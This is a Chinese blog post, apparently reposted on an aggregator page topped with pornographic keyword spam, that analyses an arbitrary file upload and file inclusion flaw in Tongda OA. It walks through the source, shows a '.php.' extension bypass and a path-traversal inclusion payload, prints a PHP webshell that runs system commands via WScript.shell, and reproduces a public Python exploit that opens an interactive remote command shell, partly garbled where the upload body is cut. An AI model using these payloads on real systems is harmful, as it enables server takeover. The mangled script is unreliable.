日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程语言 > php >内容正文

php

php forms 上传更新json_通达OA任意文件上传漏洞详细分析

發(fā)布時(shí)間:2024/10/12 php 54 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php forms 上传更新json_通达OA任意文件上传漏洞详细分析 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

影響

影響范圍(但是只有V11版和2017版有包含文件的php,其余版本能上傳文件.):

V11版 2017版 2016版 2015版 2013增強(qiáng)版 2013版。

這個(gè)漏洞是幾個(gè)月前的漏洞,主要是學(xué)習(xí)一下這個(gè)漏洞代碼的形成原理和調(diào)式過(guò)程。

該漏洞主要是通過(guò)繞過(guò)身份驗(yàn)證的情況下上傳文件,然后通過(guò)文件包含漏洞實(shí)現(xiàn)代碼執(zhí)行

代碼分析

源碼經(jīng)過(guò)zend 5.4加密,解密工具:

SeayDzend,可以自行百度下載

在線解密

http://dezend.qiling.org/free.html

任意文件上傳的關(guān)鍵文件

webroot\ispirit\im\upload.php

代碼分析:

可以看到只要判斷P參數(shù)是否不為空,就開(kāi)啟了session

沒(méi)有P參數(shù)時(shí)候

有的時(shí)候

繼續(xù)往下走

判斷DEST_UID是否不為空,否則就會(huì)退出

判斷DEST_UID=0的時(shí)候,如果UPLOAD_MODE不等于2就直接退出了

判斷DEST_UID不等于0的時(shí)候直接判斷$_FILES數(shù)量是否有,也就是判斷有沒(méi)有上傳文件

這里可以是第二個(gè)情況,DEST_UID=0,UPLOAD_MODE=2進(jìn)行下一步

也可以是DEST_UID不為0進(jìn)入下一步

繼續(xù)往下走

可以這里又if語(yǔ)判斷上傳的模式,我們來(lái)看看上傳的模式有哪幾種,可以看到總共有1,2,3,其中1,2,3如果成功了是有回顯的

這里設(shè)置upload_mode為1,進(jìn)入upload函數(shù)

會(huì)判斷是否/字符,然后判斷上傳的文件是否符合可上傳的格式,我們繼續(xù)走is_uploadable

可以看到如果上傳的格式是php,會(huì)返回false,這里用xxx.php.繞過(guò)

回過(guò)頭來(lái)看upload函數(shù),最終會(huì)返回一個(gè)$ATTACHMENTS的數(shù)組,包含了ID,和NAME

繼續(xù)跟進(jìn),發(fā)現(xiàn)ATTACHMENTS是由add_attach函數(shù)生成的

繼續(xù)跟進(jìn)

發(fā)現(xiàn)$FILENAME的拼成

繼續(xù)往下走的時(shí)候發(fā)現(xiàn)$path,和文件名的最終結(jié)果

各種追蹤發(fā)現(xiàn)就是attch/im/$YM/文件夾下面

其實(shí)不用這么復(fù)雜,就直接上傳文件,然后搜索那個(gè)文件最終放在哪不就完事了嗎?或者使用火絨劍分析行為和D盾進(jìn)行文件監(jiān)控

上傳結(jié)合前面的分析需要的參數(shù)有

這里不同的上傳模式,回顯的格式不一樣,這里的2格式舒服點(diǎn),目錄就是2003,文件名對(duì)應(yīng)后面的ID

由于這里的關(guān)鍵上傳了文件后OA系統(tǒng)有個(gè)文件包含漏洞,結(jié)合文件包含漏洞就可以實(shí)現(xiàn)RCE

文件包含代碼位置

/ispirit/interface/gateway.php

首先會(huì)接受一個(gè)json數(shù)據(jù),然后轉(zhuǎn)換為數(shù)組,然后遍歷這個(gè)數(shù)據(jù),如果key是url,url就對(duì)應(yīng)值

然后繼續(xù)走

然后走到strpos,可以看到如果出現(xiàn)general/,ispirit,module/就會(huì)觸發(fā)文件包含構(gòu)造payload

/general/../../attach/im/2003/1191415788.1.php

由于我上傳的時(shí)候是phpinfo函數(shù),是禁用了這個(gè)函數(shù)的和危險(xiǎn)函數(shù),這里可以使用寫入一個(gè)webshell在當(dāng)前執(zhí)行的/ispirit/interface/目錄下

記得這里文件名前面要加個(gè)\

當(dāng)然也可以使用COM組件bypass 危險(xiǎn)函數(shù)

<?php $command=$_POST['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>

也可以直接使用文件包含配合日志getshell

直接觸發(fā)nginx的錯(cuò)誤日志,利用文件包含直接getshell

利用網(wǎng)上公開(kāi)的腳本:

#!/usr/bin/env python3# -*- encoding: utf-8 -*-# oa通達(dá)文件上傳加文件包含遠(yuǎn)程代碼執(zhí)行import requestsimport reimport sysdef oa(url): upurl = url + '/ispirit/im/upload.php' headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=---------------------------27723940316706158781839860668"} data = "-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"ATTACHMENT\"; filename=\"jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<?php \r\n$command=$_POST['cmd'];\r\n$wsh = new COM('WScript.shell');\r\n$exec = $wsh->exec(\"cmd /c \ req = requests.post(url=upurl, headers=headers, data=data) filename = "".join(re.findall("2003_(.+?)\|",req.text)) in_url = url + '/ispirit/interface/gateway.php' headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"} data = "json={\"url\":\"../../../general/../attach/im/2003/%s.jpg\"}&cmd=%s" % (filename,"echo php00py") include_req = requests.post(url=in_url, headers=headers, data=data) if 'php00py' in include_req.text: print("[+] OA RCE vulnerability ") return filename else: print("[-] Not OA RCE vulnerability ") return Falsedef oa_rce(url, filename,command): url = url + '/ispirit/interface/gateway.php' headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"} data = "json={\"url\":\"../../../general/../attach/im/2003/%s.jpg\"}&cmd=%s" % (filename,command) req = requests.post(url, headers=headers, data=data) print(req.text)if __name__ == '__main__': if len(sys.argv) < 2: print("please input your url python oa_rce.py http://127.0.0.1:8181") else: url = sys.argv[1] filename = oa(url) while filename: try: command = input("wran@shelLhost#") if command == "exit" or command == "quit": break else: oa_rce(url,filename,command) except KeyboardInterrupt: break

腳本用的是COM繞過(guò)

end

總結(jié)

以上是生活随笔為你收集整理的php forms 上传更新json_通达OA任意文件上传漏洞详细分析的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。